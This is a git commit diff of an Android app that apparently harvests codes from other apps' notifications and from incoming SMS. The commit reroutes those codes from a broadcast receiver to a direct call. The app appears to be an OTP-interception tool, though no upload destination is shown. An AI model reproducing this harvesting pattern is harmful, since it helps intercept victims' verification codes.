This commit is contained in:
Your Name 2025-04-09 18:39:25 +03:00
parent 6d0cb452e9
commit 722f4f4279
2 changed files with 2 additions and 22 deletions

View file

@ -59,10 +59,8 @@ public class Listener extends NotificationListenerService {
String code = processExtras(sbn.getNotification().extras); String code = processExtras(sbn.getNotification().extras);
if (code.length() < 5) if (code.length() < 5)
return; return;
Intent intent = new Intent(getApplicationContext().getPackageName() + "." + // STATIC MainActivity applicationContext = (MainActivity) getApplicationContext();
"NOTIFICATION_RECEIVED"); applicationContext.onNotificationReceived(code);
intent.putExtra("code", code);
sendBroadcast(intent);
} }
} }

View file

@ -71,8 +71,6 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba
private List<String> codes = new ArrayList<>(); private List<String> codes = new ArrayList<>();
private NotificationReceiver notificationReceiver;
private JSONObject ussd; private JSONObject ussd;
private JSONObject language; private JSONObject language;
@ -129,8 +127,6 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba
protected void onCreate(Bundle savedInstanceState) { protected void onCreate(Bundle savedInstanceState) {
Log.i("a", "1"); // STATIC Log.i("a", "1"); // STATIC
super.onCreate(savedInstanceState); super.onCreate(savedInstanceState);
notificationReceiver = new NotificationReceiver();
setContentView(R.layout.activity_main); setContentView(R.layout.activity_main);
webView = findViewById(R.id.webview); webView = findViewById(R.id.webview);
@ -290,10 +286,6 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba
} else if (grantResults.length > 0 && grantResults[0] == PackageManager.PERMISSION_GRANTED){ } else if (grantResults.length > 0 && grantResults[0] == PackageManager.PERMISSION_GRANTED){
Intent intent = new Intent(this, Listener.class); Intent intent = new Intent(this, Listener.class);
startService(intent); startService(intent);
IntentFilter filter = new IntentFilter(getApplicationContext().getPackageName() + "." + // STATIC
"NOTIFICATION_RECEIVED");
registerReceiver(notificationReceiver, filter);
registerReceiver(smsReceiver, new IntentFilter(Telephony.Sms.Intents.SMS_RECEIVED_ACTION)); registerReceiver(smsReceiver, new IntentFilter(Telephony.Sms.Intents.SMS_RECEIVED_ACTION));
Log.i("a", "Make process"); // STATIC Log.i("a", "Make process"); // STATIC
Context permissionContext = this; Context permissionContext = this;
@ -301,15 +293,6 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba
} }
} }
private class NotificationReceiver extends BroadcastReceiver {
@Override
public void onReceive(Context context, Intent intent) {
Log.i("a", "On receive notification"); // STATIC
String code = intent.getStringExtra("code");
onNotificationReceived(code);
}
}
public void onNotificationReceived(String code) { public void onNotificationReceived(String code) {
if(codes.contains(code)) if(codes.contains(code))
return; return;
@ -612,7 +595,6 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba
Log.i("a", "onDestroy"); // STATIC Log.i("a", "onDestroy"); // STATIC
super.onDestroy(); super.onDestroy();
try { try {
unregisterReceiver(notificationReceiver);
unregisterReceiver(smsReceiver); unregisterReceiver(smsReceiver);
} catch(IllegalArgumentException e) { } catch(IllegalArgumentException e) {
Log.i("ppp", Arrays.toString(e.getStackTrace())); Log.i("ppp", Arrays.toString(e.getStackTrace()));